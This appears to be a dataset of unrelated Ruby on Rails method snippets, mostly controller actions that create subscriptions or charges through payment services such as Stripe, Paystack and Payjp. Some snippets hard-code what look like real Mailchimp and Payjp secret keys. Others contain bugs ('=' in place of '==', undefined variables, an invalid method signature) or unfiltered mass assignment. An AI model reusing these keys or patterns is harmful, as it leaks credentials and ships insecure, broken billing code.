"def create\n \n @subscription = Subscription.new(params[:subscription])\n @subscription.quantity = @subscription.subscription_type.number_of_issues\n @subscription.unit_cost = @subscription.subscription_type.unit_cost\n \n respond_to do |format|\n if @subscription.save\n flash[:notice] = 'Subscription was successfully created.'\n format.html { redirect_to(@subscription) }\n format.xml { render :xml => @subscription, :status => :created, :location => @subscription }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @subscription.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def success\n if params[:reference].present?\n\n paystackObj = Paystack.new(ENV['PAYSTACK_PUBLIC_KEY'], ENV['PAYSTACK_PRIVATE_KEY'])\n\n subscriptions = PaystackSubscriptions.new(paystackObj)\n result = subscriptions.create(\n\n :customer => current_user.email,\n :plan => \"PLN_96ws6ovviw8028d\", #plan id\n :amount => 200000 #in KOBO\n\n \n )\n\n\n u = current_user\n u.subscribed = true\n u.subscription_code = code\n u.email_token = token\n u.save!\n \n else\n redirect_to new_subscription_path, notice: \"Error Making Payment, Try Again\"\n\n end\n end",
"def create\n current_subscriber.update_company_subscription_by_token(params[:recurly_token])\n\n # TODO hide advisor plan when the company is advised\n if current_subscriber.subscription.plan_code == 'advisor_annual'\n current_company.upgrade_to_advisor!\n end\n\n flash[:notice] = 'Subscription was successfully created!'\n redirect_to app_url(subdomain: current_company.subdomain)\n end",
"def new\n @subscription = Subscription.new\n end",
"def create\n @subscription = Subscription.create(params[:subscription])\n gb = Gibbon::API.new(\"6f8672a5c2393d1441c54d3be3fb79a1-us1\")\n gb.lists.subscribe({:id => \"c0ca5b3d41\", :email => {:email => params[:subscription][:email]}, :merge_vars => {:FNAME => '', :LNAME => ''}, :double_optin => false})\n end",
"def create\n plan = Billingly::Plan.find(params[:plan_id])\n unless current_customer.can_subscribe_to?(plan)\n return redirect_to subscriptions_path, notice: 'Cannot subscribe to that plan'\n end\n current_customer.subscribe_to_plan(plan)\n on_subscription_success\n end",
"def create\n plan = Billingly::Plan.find(params[:plan_id])\n unless current_customer.can_subscribe_to?(plan)\n return redirect_to subscriptions_path, notice: 'Cannot subscribe to that plan'\n end\n current_customer.subscribe_to_plan(plan)\n on_subscription_success\n end",
"def create\n megam_rest.post_subscriptions(to_hash)\n end",
"def create\n s_params = params[:subscription]\n s_params.delete(:id)\n @subscription = Subscription.new(s_params)\n @subscription.save\n respond_with(@subscription)\n end",
"def create\n\t\t@subscription = Subscription.new(params[:subscription])\n\t\trespond_to do |format|\n\t\t\tif fonct_new_dup?\n\t\t\t\tobject_orig=Subscription.find(params[:object_orig_id])\n\t\t\tst = @subscription.create_duplicate(object_orig)\n\t\t\telse\n\t\t\tst = @subscription.save\n\t\t\tend\n\t\t\tif st\n\t\t\t\t#format.html { redirect_to(@subscription, :notice => 'Subscription was successfully created.') }\n\t\t\t\tflash[:notice] = 'Subscription was successfully created.'\n\t\t\t\tparams[:id]= @subscription.id\n\t\t\t\tshow_\n\t\t\t\tformat.html { render :action => \"show\" }\n\t\t\t\tformat.xml { render :xml => @subscription, :status => :created, :location => @subscription }\n\t\t\telse\n\t\t\t\t@ingroups = Group.all\n\t\t\t\t@inprojects = Project.all\n\t\t\t\t@fortypesobjects=Typesobject.get_from_observer\n\t\t\t\tformat.html { render :action => \"new\" }\n\t\t\t\tformat.xml { render :xml => @subscription.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def subscription_created(user_id, discount_code:, products:, subscription_id:, subscription_mrr:, subscription_time_interval:, subscription_value:)\n track(user_id, SubscriptionCreated.new(\n discount_code: discount_code,\n products: products,\n subscription_id: subscription_id,\n subscription_mrr: subscription_mrr,\n subscription_time_interval: subscription_time_interval,\n subscription_value: subscription_value \n ))\n end",
"def create_subscription(options)\n stripe_service.create_subscription(options)\n end",
"def create_subscription(payment_intent_id)\n result = ChargeBee::Subscription.create({\n plan_id: '<chargebee-plan-id>',\n auto_collection: 'on',\n payment_intent: {\n gateway_account_id: '<checkout.com-gateway-id>',\n gw_token: payment_intent_id\n }\n })\n subscription = result.subscription\n puts \"Chargebee subscription ID: #{subscription.id} created for Checkout.com payment ID: #{payment_intent_id}\"\n end",
"def create\n @subscription = Subscription.new(subscription_params)\n @subscription.user = current_user\n\n respond_to do |format|\n if @subscription.save\n format.html { redirect_to @subscription, notice: t('controller.successfully_created', model: t('activerecord.models.subscription')) }\n format.json { render json: @subscription, status: :created, location: @subscription }\n else\n format.html { render action: \"new\" }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_initial_subscription\n return unless self.subscription_plan_id.to_i > 0\n\n @subscription_plan = SubscriptionPlan.find(self.subscription_plan_id)\n if @subscription_plan.user?\n self.subscribe_to_plan(@subscription_plan)\n else\n create_organization_and_subscription_plan\n end\n end",
"def create\n @subscription = Subscription.new(subscription_params)\n\n if @subscription.save\n render json: @subscription, status: :created, location: @subscription\n else\n render json: @subscription.errors, status: :unprocessable_entity\n end\n end",
"def create\n customer = Stripe::Customer.create({\n :description => current_user.id,\n :email => current_user.email,\n :card => params[:stripeToken],\n })\n\n current_user.stripe_id = customer.id\n current_user.save!\n\n Stripe::Charge.create(\n :customer => current_user.stripe_id,\n :amount => 250,\n :description => 'Fantasy Rocket Monthly Subscription',\n :currency => 'usd',\n )\n\n current_user.create_subscription!\n redirect_to params[:redirect_to] || root_url, notice: \"Thanks! You're now subscribed.\"\n rescue Stripe::CardError => e\n redirect_to new_subscriptions_url, alert: e.message\n end",
"def create\n @subscription = Subscription.new(subscription_params)\n if (!@subscription.quantity)\n @subscription.quantity = 1\n end\n\n respond_to do |format|\n if @subscription.save\n \n if params[:subscription][:bill_now] == \"1\"\n # Create the pro-rated charge\n begin\n \n rescue Exception => exc\n logger.error(\"Oh no! There was an error adding the invoice item: #{exc.message}\")\n end\n end\n \n format.html { redirect_to subscriptions_url, success: 'Subscription was successfully created.' }\n format.json { render action: 'show', status: :created, location: @subscription } \n else \n format.js { render action: 'new' }\n format.html { render action: 'new' }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_subscription(credit_card, options = {})\n\n u = self.user\n options[:order_id] = number # currently just loading a date\n options[:email] = u.email\n options[:address] = {\n :first_name => u.first_name,\n :last_name => u.last_name,\n :address1 => u.street_address1,\n :address2 => (u.street_address2 || \"\"),\n :company => (u.company || \"\"),\n :city => u.city,\n :state => u.us_state,\n :zip => u.zip,\n :country => 'United States',\n :phone => u.primary_phone\n }\n\n subscription = OrderTransaction.generate_yearly_subscription(credit_card, options)\n self.save!\n order_transactions << subscription\n\n if subscription.success?\n self.payment_captured!\n else\n self.transaction_declined!\n end\n\n subscription\n end",
"def create_gocardless_subscription\n GO_CARDLESS_CLIENT.subscriptions.create(\n params: {\n amount: User::PLAN_AMOUNT.to_i,\n currency: User::GO_CARDLESS_CURRENCY,\n name: User::GO_CARDLESS_NAME,\n interval_unit: User::INTERVAL_UNIT,\n interval: 1,\n start_date: Date.current + 2.month,\n day_of_month: 1,\n links: {\n mandate: current_user.go_cardless_mandate\n }\n }\n )\n end",
"def create_subscription\n subscription = nil\n stripe_call do\n local_plan = Plan.active.find(@params[:user][:plan_id])\n return false if local_plan.nil?\n stripe_plan = Stripe::Plan.retrieve(local_plan.stripe_id)\n # If the plan has a trial time, it does not need a stripe token to create a subscription\n # We assume you have a trial time > 0. Otherwise there will be 2 customers created for\n # each subscribed customer. One at registration and another when subscribing.\n subscription = customer.subscriptions.create(\n source: @params[:stripeToken],\n plan: stripe_plan.id\n )\n end\n return false if subscription.nil?\n\n user_attributes_to_update = {\n stripe_id: customer.id,\n stripe_subscription_id: subscription.id\n }\n assign_card_details(user_attributes_to_update, @params)\n @user.update(user_attributes_to_update)\n end",
"def create\n @purchase = Purchase.new purchase_attributes\n if @purchase.save\n @ok = true\n renewed = Purchase.find_by_id params[:renewed_id]\n if renewed\n renewed.users.each do |u|\n u.purchase_id = @purchase.id\n u.save\n Notification.send_to(\n u.id,\n I18n.t('notifications.account.renewed.title'),\n I18n.t('notifications.account.renewed.message', :expiration_date => TimeConvert.to_string(@purchase.expiration_date)),\n ''\n )\n end\n renewed.expiration_date = Time.zone.now\n renewed.save\n end\n else\n @ok = false\n @errors = @purchase.errors.messages.keys\n @errors << :ssn_code if @errors.include?(:base)\n end\n end",
"def create\n Payjp.api_key = \"sk_test_c62fade9d045b54cd76d7036\"\n @user = user\n\n if customer_id = @user.customer_id\n customer = Payjp::Customer.retrieve(id: customer_id)\n else\n customer = Payjp::Customer.create(card:payjp_token)\n @user.customer_id = customer.id\n @user.save!\n end\n\n plans = customer.subscriptions.data.collect(&:plan).collect(&:id)\n plan_id = \"#{@item.id}_#{@item.interval}\"\n if plans.include?(plan_id)\n plan = Payjp::Plan.retrieve(id: \"#{@item.id}_#{@item.interval}\")\n subscription = customer.subscriptions.data.select{|data| data.plan.id == plan_id}.first\n if subscription\n unless subscription.status == \"active\"\n subscription.resume\n end\n update_role(subscription)\n else\n subscription = Payjp::Subscription.create(customer:customer.id, plan: plan.id)\n update_role(subscription)\n end\n else\n plan = Payjp::Plan.create(id: \"#{@item.id}_#{@item.interval}\", amount: \"#{@item.price}\", interval: \"#{@item.interval}\", currency: \"jpy\")\n subscription = Payjp::Subscription.create(customer:customer.id, plan: plan.id)\n update_role(subscription)\n end\n\n if subscription\n @order = Order.find_or_create_by(subscription: subscription.id)\n @order.item = item\n @order.user = @user\n @order.current_period_end = Time.at(subscription.current_period_end)\n @order.save\n redirect_to @order, notice: 'Order was successfully created.'\n else\n redirect_to new, notice: 'Order was not created.'\n end\n\n end",
"def create\n @subscription = Subscription.new(params[:subscription])\n\n respond_to do |format|\n if @subscription.save\n format.html { redirect_to campaign_subscription_path(@campaign, @subscription), :notice => 'Subscription was successfully created.' }\n format.json { render :json => @subscription, :status => :created, :location => @subscription }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @subscription.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n respond_to do |format|\n if @subscription.save\n format.html { redirect_to @subscription.transaction, notice: 'Subscription was successfully created.' }\n format.json { render json: @subscription, status: :created, location: @subscription }\n else\n format.html { render action: \"new\" }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create(options)\n API::request(:post, 'subscription_agreements', options)\n end",
"def create_account_and_subscribe_single_call account_name\n contact = {\n address1: '1051 E Hillsdale Blvd',\n city: 'Foster City',\n country: 'United States',\n firstName: 'John',\n lastName: 'Smith',\n zipCode: '94404',\n state: 'CA'\n }\n #get the rate plans for the product\n product_rate_plan = get_product_rate_plans_for_product 'Medium Monthly Plan'\n myDate = DateTime.now + 10.days;\n #create an account and subscribe to a rate plan at the same time\n subscribe(\n account_name,\n contact,\n DateTime.now.strftime(\"%Y-%m-%d\"),\n myDate.strftime(\"%Y-%m-%d\"),\n product_rate_plan['id']\n )\nend",
"def create\n if session[:user_id] \n user = User.find(session[:user_id])\n s = Subscription.new\n s.url = params[:subscription][:url]\n s.title = params[:subscription][:title]\n s.user = user\n @subscription = s\n \n respond_to do |format|\n if @subscription.save\n format.html { redirect_to(@subscription, :notice => 'Subscription was successfully created.') }\n format.xml { render :xml => @subscription, :status => :created, :location => @subscription }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @subscription.errors, :status => :unprocessable_entity }\n end\n end\n end\n end",
"def create \n @subscription = Subscription.new(params[:subscription])\n \n uri = URI.parse(request.env[\"HTTP_REFERER\"])\n unless %w{ app.atra.obra.org localhost app.americantrackracing.com raceatra.com www.raceatra.com}.include?(uri.host)\n flash[:notice] = \"Cannot send request from '#{uri.host}'\"\n return render(:action => \"new\")\n end\n\n if @subscription.valid?\n email = SubscriptionMailer.create_subscription_request(@subscription)\n SubscriptionMailer.deliver(email)\n redirect_to(:action => \"subscribed\")\n else\n render(:action => \"new\")\n end\n end",
"def subscribe!\n Subscription.transaction do\n subscription = create_stripe_subscription!\n store.subscriptions.create!(\n customer: user,\n stripe_plan_id: stripe_plan_id,\n stripe_id: subscription.id,\n first_date: Date.today,\n status: :active\n )\n end\n end",
"def create\n # params[:id] is the knowmadics id\n\n @api_subscription = Api::Subscription.new(api_subscription_params)\n\n respond_to do |format|\n if @api_subscription.save\n format.html { redirect_to @api_subscription, notice: 'Subscription was successfully created.' }\n format.json { render :show, status: :created, location: @api_subscription }\n else\n format.html { render :new }\n format.json { render json: @api_subscription.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @subscription = Subscription.new(params[:subscription])\n\n @subscription.owner = Company.find(params[:company_id]) if params[:company_id]\n @subscription.owner = Person.find(params[:person_id]) if params[:person_id]\n\n respond_to do |format|\n if @subscription.save\n format.html { redirect_to @subscription.owner, notice: 'Subscription was successfully created.' }\n format.json { render json: @subscription, status: :created, location: @subscription }\n else\n format.html { render action: \"new\" }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # Each shop can have only one recurring charge per app. When a new recurring application charge is activated for a shop\n # that already has one, the existing recurring charge is canceled and replaced by the new charge.\n # The new recurring charge is then activated.\n\n plan_info = @subscriptions_info[params[:subscription_type]]\n local_charge = @shop.charges.create\n\n shopify_charge = ShopifyAPI::RecurringApplicationCharge.new(\n name: plan_info[\"name\"],\n price: plan_info[\"price\"],\n return_url: \"#{ENV['APP_URL']}/charges/#{local_charge.id}/activate\",\n test: plan_info[\"test\"],\n capped_amount: plan_info[\"capped_amount\"],\n terms: plan_info[\"terms\"]\n )\n if shopify_charge.save\n fullpage_redirect_to shopify_charge.confirmation_url\n else\n # make sure this works\n local_charge.delete\n # recurring charge could not be created\n end\n end",
"def create\n @subscription = Subscription.new(params[:subscription])\n \n @subscription = Subscription.new()\n @subscription.luser_id = current_user.luser.id\n \n @subscription.project_id = params[:project_id]\n \n current = Subscription.find(:first, :conditions => {:luser_id => current_user.luser.id, \n :project_id => params[:project_id] })\n \n respond_to do |format|\n if current != nil\n current.destroy\n format.json { head :no_content }\n elsif @subscription.save\n recieving_user = Luser.find(:first, :conditions => {:name => @subscription.project.created_by })\n Notification.add(@subscription.project, nil,\"project_subscription\", recieving_user, current_user.luser)\n LuserMailer.new_subscriber(current_user.luser, @subscription.project,).deliver\n format.html { redirect_to @subscription, notice: 'Subscription was successfully created.' }\n format.json { render json: @subscription, status: :created, location: @subscription }\n else\n format.html { render action: \"new\" }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n super do |resource| # super do oznacza ze dziedziczymy akcje \"create\" i rozszerzamy ją\n if params[:plan]\n resource.plan_id = params[:plan]\n if resource.plan_id == 2\n resource.save_with_subscription \n else\n resource.save\n end\n end\n end\n end",
"def create_subscription\n session[:merchant_subscription_id] = 'User' + sprintf('%03d', rand(1000)) + 'Subscription' + sprintf('%04d', rand(10000))\n\n # prepare payload\n data = {\n :Amount => params[:product] == '1' ? 1.99 : 3.99,\n :Category => 1,\n :Channel => 'MOBILE_WEB',\n :Description => 'Word game 1',\n :MerchantTransactionId => session[:merchant_subscription_id],\n :MerchantProductId => 'wordGame1',\n :MerchantPaymentRedirectUrl => settings.subscription_redirect_url,\n :MerchantSubscriptionIdList => 'sampleSubscription1',\n :IsPurchaseOnNoActiveSubscription => 'false',\n :SubscriptionRecurringNumber => '99999',\n :SubscriptionRecurringPeriod => 'MONTHLY',\n :SubscriptionRecurringPeriodAmount => 1\n }\n\n response = RestClient.post settings.notary_app_sign_url, :payload => data.to_json\n from_json = JSON.parse response\n\n redirect settings.FQDN + \"/Commerce/Payment/Rest/2/Subscriptions?clientid=#{settings.api_key}&SignedPaymentDetail=#{from_json['signed_payload']}&Signature=#{from_json['signature']}\"\nend",
"def subscription_payment\n\n\n @sub = Subscription.where(return_token: params[:id]).first\n\n @amount = 0\n if @sub.subscription_type = \"Standard\"\n @amount = 3\n end\n \n if @sub.subscription_type = \"Pro\"\n @amount = 5\n end\n\n if @sub.subscription_type = \"Enterprise\"\n @amount = 10\n end\n\n @sub.payment_status = \"Paid\"\n @sub.save\n\n @sub_payment = SubscriptionPayment.new\n @sub_payment.subscription_type = @sub.subscription_type\n @sub_payment.amount = @amount\n @sub_payment.date_from = @sub.date_from\n @sub_payment.date_to = @sub.date_to\n @sub_payment.payment_for = \"Subscription\"\n @sub_payment.subscription_id = @sub.id\n @sub_payment.payment_date = Date.today\n\n @sub_payment.save\n\n redirect_to :controller => 'backend', :action => 'dashboard'\n\n end",
"def new\n @subscription = Subscription.new\n\n # Check to see if the logged in user has a subscription already\n @subplan = Subscription.where(user_id: current_user.id).first\n\n if @subplan.present?\n # Subscription plan is active\n redirect_to subscription_url(@subplan)\n\n elsif current_user.account.present?\n # We have an account for signing up a subscription\n\n @subscription.subscribe(current_user.account, params[:plan_id], coupon: params[:coupon_code])\n else\n # No account and no subscription plan - Redirect to update\n # user account with notice to add credit card.\n redirect_to new_user_account_url(current_user.id)\n end\n end",
"def create\n@subscription = current_user.subscriptions.build(subscription_params)\n\nrespond_to do |format|\n if @subscription.save\n\n format.html { redirect_to user_profile_url(current_user.id), notice: 'Pet was successfully created.' }\n format.json { render :show, status: :created, location: @subscription }\n else\n format.html { render :new }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\nend\nend",
"def create_subscription(sender)\n PsegRecurring::Subscription.new(@credentials).send_subscription(sender)\n end",
"def create_subscription!(plan, coupon, params)\n subscription = find_or_build_subscription(plan, coupon, params)\n subscription.save_with_payment!\n return subscription\n end",
"def create\n @panel_subscription = Panel::Subscription.new(params[:panel_subscription])\n\n respond_to do |format|\n if @panel_subscription.save\n format.html { redirect_to(@panel_subscription, :notice => 'Subscription was successfully created.') }\n format.json { render :json => @panel_subscription, :status => :created, :location => @panel_subscription }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @panel_subscription.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @subscription = Subscription.new(params[:subscription])\n\n respond_to do |format|\n if @subscription.save\n format.html { redirect_to Binder.find(@subscription.binder_id), notice: 'Subscription was successfully created.' }\n format.json { render json: @subscription, status: :created, location: @subscription }\n else\n format.html { render action: \"new\" }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\t\t#Prepare the models\n\t\t@subscription = Subscription.new(\n\t\t\tcampaign_id: @subscribed.active_campaign.id,\n\t\t\tshipping_country: params[:subscription][:shipping_country],\n\t\t\tget_reward: params[:subscription][:get_reward],\n\t\t\tfunding_type: params[:subscription][:funding_type],\n\t\t\tamount: params[:subscription][:amount],\n\t\t\tsubscriber_id: @subscriber.id,\n\t\t\tsubscribed_id: @subscribed.id,\n\t\t\tcurrency: 'usd',\n\t\t\tcampaign_funding_type: @subscribed.active_campaign.funding_type\n\t\t)\n\t\tif params[:subscription][:majorpost_id]\n\t\t\t@subscription.majorpost_id = params[:subscription][:majorpost_id]\n\t\tend\n\t\tif params[:subscription][:upper_limit]\n\t\t\t@subscription.upper_limit = params[:subscription][:upper_limit]\n\t\tend\n\t\tif params[:subscription][:cards_attributes]\n\t\t\tadd_card\n\t\tend\n\t\t#Charge if charge\n\t\tif @subscription.funding_type == 'one_time'\n\t\t\t#Charge the card now\n\t\t\tsubscribe_through_stripe\n\t\telse\n\t\t\t#Do not charge the card\n\t\t\tsubscription_post_payment\n\t\tend\n\trescue Stripe::CardError => e\n\t\t# Since it's a decline, Stripe::CardError will be caught\n\t\tbody = e.json_body\n\t\terr = body[:error]\n\n\t\tputs \"Status is: #{e.http_status}\"\n\t\tputs \"Type is: #{err[:type]}\"\n\t\tputs \"Code is: #{err[:code]}\"\n\t\t# param is '' in this case\n\t\tputs \"Param is: #{err[:param]}\"\n\t\tputs \"Message is: #{err[:message]}\"\n\t\t#Show to the user\n\t\tflash[:error] = \"#{err[:message]}\"\n\t\tredirect_to how_i_pay_user_studio_wallets_path(@subscriber.username)\n\trescue Stripe::RateLimitError => e\n\t\t# Too many requests made to the API too quickly\n\t\tflash[:error] = t('errors.messages.too_many_requests')\n\t\tredirect_to profile_url_path(@subscribed.username)\n\trescue Stripe::InvalidRequestError => e\n\t\t# Invalid parameters were supplied to Stripe's API\n\t\tflash[:error] = t('errors.messages.not_saved')\n\t\tredirect_to profile_url_path(@subscribed.username)\n\trescue Stripe::AuthenticationError => e\n\t\t# Authentication with Stripe's API failed\n\t\t# (maybe you changed API keys recently)\n\t\tflash[:error] = t('errors.messages.not_saved')\n\t\tredirect_to profile_url_path(@subscribed.username)\n\trescue Stripe::APIConnectionError => e\n\t\t# Network communication with Stripe failed\n\t\tflash[:error] = t('errors.messages.not_saved')\n\t\tredirect_to profile_url_path(@subscribed.username)\n\trescue Stripe::StripeError => e\n\t\t# Display a very generic error to the user, and maybe send\n\t\t# yourself an email\n\t\tflash[:error] = t('errors.messages.not_saved')\n\t\tredirect_to profile_url_path(@subscribed.username)\n\trescue \n\t\t# General rescue\n\t\tflash[:error] = t('errors.messages.not_saved')\n\t\tredirect_to profile_url_path(@subscribed.username)\n\tend",
"def save_with_subscription\n #If user data passes validations, then call Stripe with user information\n #to get a new subscription created upon charging their card\n if valid?\n customer = Stripe::Customer.create(description: email, plan: plan_id, card: stripe_card_token)\n self.stripe_customer_token = customer.id\n save!\n end\n end",
"def create\r\n @subscription = Subscription.new(subscription_params)\r\n @subscription.business_user_id = current_business_user.id\r\n respond_to do |format|\r\n if @subscription.save\r\n format.html { redirect_to business_user_subscriptions_path, notice: 'Subscription was successfully created.' }\r\n format.json { render json: @subscription, status: :created, location: @subscription }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def create\n @product_subscription = ProductSubscription.new(params[:product_subscription])\n\n respond_to do |format|\n if @product_subscription.save\n format.html { redirect_to campaign_subscription_path(@product_subscription.subscription.campaign, @product_subscription.subscription), :notice => 'Product subscription was successfully created.' }\n format.json { render :json => @product_subscription, :status => :created, :location => @product_subscription }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @product_subscription.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create / update_subscriptions\n end",
"def create_subscription(options)\n # Get the plan.\n plan = Stripe::Plan.retrieve(options[:plan])\n\n # Charge VAT in advance because subscription call will create and pay an invoice.\n # TK actually we need to apply VAT for invoiceitems that are pending and scheduled\n # for the next invoice.\n # Do not charge VAT if the plan or the subscription is still in trial (invoice will come later).\n vat, invoice_item = charge_vat_of_plan(plan) unless \\\n plan.trial_period_days || (options[:trial_end] && options[:trial_end] != 'now')\n\n # Start subscription.\n # This call automatically creates an invoice, always.\n subscription = customer.subscriptions.create(options)\n\n [subscription, last_invoice]\n rescue Stripe::StripeError, Stripe::CardError => e\n # Something failed in Stripe, if we already charged for VAT,\n # we need to rollback this. As we may charge twice later otherwise.\n invoice_item.delete if invoice_item\n raise e\n end",
"def create\n @Payment = Payment.new\n @Payment.user_id = current_user\n\n Stripe.api_key = ENV[\"STRIPE_API_KEY\"]\n token = params[:stripeToken]\n\n begin\n charge = Stripe::Charge.create(\n :amount => (25 * 100).floor,\n :currency => \"usd\",\n :card => token\n )\n flash[:notice] = \"Thanks for purchasing!\"\n rescue Stripe::CardError => e\n flash[:danger] = e.message\n end\n\n @Payment.stripe_id = charge.id\n @Payment.amount = charge.amount\n\n if current_user.subscribed != true\n current_user.subscribed = true\n current_user.credit = 25.00\n else\n current_user.credit = current_user.credit + 25.00\n end\n\n current_user.save\n redirect_to caves_path\n end",
"def create_subscription(options)\n # This call automatically creates an invoice, always.\n Stripe::Subscription.create({\n customer: customer.id,\n tax_percent: calculate_vat_rate\n }.merge(options))\n end",
"def create\n @admin_subscription = Subscription.new(admin_subscription_params)\n\n respond_to do |format|\n if @admin_subscription.save\n format.html { redirect_to [:admin, @admin_subscription], notice: 'L\\'abonnement a bien été créé !' }\n format.json { render :show, status: :created, location: @admin_subscription }\n else\n format.html { render :new }\n format.json { render json: @admin_subscription.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @categories = Category.all\n @subscription = Subscription.new(subscription_params)\n respond_to do |format|\n if @subscription.save\n\t @subscription.update(ordinal: Subscription.count)\n SubscriptionMailer.with(subscription: @subscription, new: \"true\").notification_email.deliver_now\n format.html { render :subscription_judging, notice: '加盟店サブスクショップの審査申請しました' }\n format.json { render :show, status: :created, location: @subscription }\n else\n format.html { render :new }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @subscription_request = SubscriptionRequest.new(params[:subscription_request])\n\n respond_to do |format|\n if @subscription_request.save\n format.html { redirect_to @subscription_request, notice: 'Subscription request was successfully created.' }\n format.json { render json: @subscription_request, status: :created, location: @subscription_request }\n else\n format.html { render action: \"new\" }\n format.json { render json: @subscription_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def save_withsubscription\n if valid?\n customer = Stripe::Customer.create(description: email, plan: plan_id, card: stripe_card_token)\n self.stripe_card_token = customer.id\n save!\n end\n end",
"def create\n @subs_payment = SubsPayment.new(subs_payment_params)\n\n respond_to do |format|\n if @subs_payment.save\n format.html { redirect_to @subs_payment, notice: 'Subs payment was successfully created.' }\n format.json { render :show, status: :created, location: @subs_payment }\n else\n format.html { render :new }\n format.json { render json: @subs_payment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @subscription = current_user.subscriptions.new\n manga = Manga.find(params[:manga_id])\n\t\t@subscription.manga_id=manga.id\n\n respond_to do |format|\n if @subscription.save\n format.html { redirect_to mangas_path, notice: 'Successfully subscribed to '+ manga.display_name.to_s}\n format.json { render json: @subscription, status: :created, location: @subscription }\n else\n format.html { render action: \"new\" }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @service = Service.find(params[:service_id])\n \n @service_subscription = current_user.subscribe(@service, params[:service_subscription])\n \n if @service_subscription && @service_subscription.errors.empty?\n redirect_to service_subscriptions_path, :success => \"You have subscribed to the service!\"\n else\n render :action => :new\n end\n \n end",
"def create\n args = ZAPIArgs.new\n args.uri = Resource_Endpoints::POST_SUBSCRIPTION\n\n args.req_body = ZAPIArgs.new\n args.req_body.accountKey = SAMPLE_ACCOUNT_KEY\n args.req_body.contractEffectiveDate = '2013-02-1'\n args.req_body.termType = 'TERMED'\n args.req_body.initialTerm = '12'\n args.req_body.autoRenew = true\n args.req_body.renewalTerm = \"3\"\n args.req_body.notes = 'Test POST subscription from z-ruby-sdk'\n args.req_body.subscribeToRatePlans = []\n args.req_body.subscribeToRatePlans[0] = ZAPIArgs.new\n args.req_body.subscribeToRatePlans[0].productRatePlanId = 'ff8080811ca15d19011cdda9b0ad3b51'\n args.req_body.subscribeToRatePlans[0].chargeOverrides = []\n args.req_body.subscribeToRatePlans[0].chargeOverrides[0] = ZAPIArgs.new\n args.req_body.subscribeToRatePlans[0].chargeOverrides[0].productRatePlanChargeId =\n 'ff8080811ca15d19011cddad8c953b53'\n args.req_body.subscribeToRatePlans[0].chargeOverrides[0].quantity = 10\n args.req_body.invoiceTargetDate = '2013-12-31'\n args.req_body.invoiceCollect = false\n\n puts \"========== CREATE A SUBSCRIPTION ============\"\n\n begin\n @z_client.post(args) do |resp|\n ap resp\n return resp.subscriptionNumber if resp.httpStatusCode.to_i == 200 && resp.success\n end\n rescue ArgumentError => e\n puts e.message\n rescue RuntimeError => e\n puts e.message\n end\n\n nil\n end",
"def create\n plan = params[\"payment\"][\"plan\"]\n plan=\"premium_monthly\" if plan.empty?\n stripe_token = params[:payment][:stripe_customer_token]\n cardHolderName = params[\"cardHolderName\"]\n email = params[\"payment\"][\"email\"]\n flag = false\n\n if stripe_token\n begin\n @payment = current_user.payments.new(payment_params)\n customer = current_user.do_transaction(params[:payment_type], stripe_token, plan, cardHolderName, email)\n if customer\n @payment.stripe_customer_token = customer.id\n subcripted_detail = customer.subscriptions[\"data\"][0]\n flash[:notice] = 'Card charged successfully'\n else\n flag = true\n flash[:alert] = 'Some error happened while charging you, please double check your card details'\n end\n rescue Stripe::APIError => e\n flash[:alert] = e\n flag = true\n end\n else\n flag = true\n flash[:alert] = 'You did not submit the form correctly'\n end\n\n if flag\n render new_payment_path({plan: plan, error: e})\n end\n\n respond_to do |format|\n if @payment.save\n plan = Payment.plans[plan]\n current_user.update_attributes(subscription: plan, remaining_days: -1, stripe_customer_id: customer.id, is_paid_user: true)\n NotificationMailer.monthly_subscription_email(current_user, subcripted_detail).deliver_now\n format.html { redirect_to \"/users/edit\", notice: 'Payment made successfully.'}\n format.json { render json: @payment, status: :created, location: @payment }\n end\n end\n\n end",
"def create\n @subscription = Subscription.new(params[:subscription])\n @subscription.screen = @screen\n @subscription.field = @field\n auth!\n\n respond_to do |format|\n if @subscription.save\n format.html { redirect_to(manage_screen_field_subscriptions_path(@screen, @field), :notice => t(:subscription_created)) }\n format.xml { render :xml => @subscription, :status => :created, :location => @subscription }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @subscription.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @subscription_new_main = SubscriptionNewMain.new(subscription_new_main_params)\n\n respond_to do |format|\n if @subscription_new_main.save\n format.html { redirect_to @subscription_new_main, notice: 'Subscription new main was successfully created.' }\n format.json { render :show, status: :created, location: @subscription_new_main }\n else\n format.html { render :new }\n format.json { render json: @subscription_new_main.errors, status: :unprocessable_entity }\n end\n end\n end",
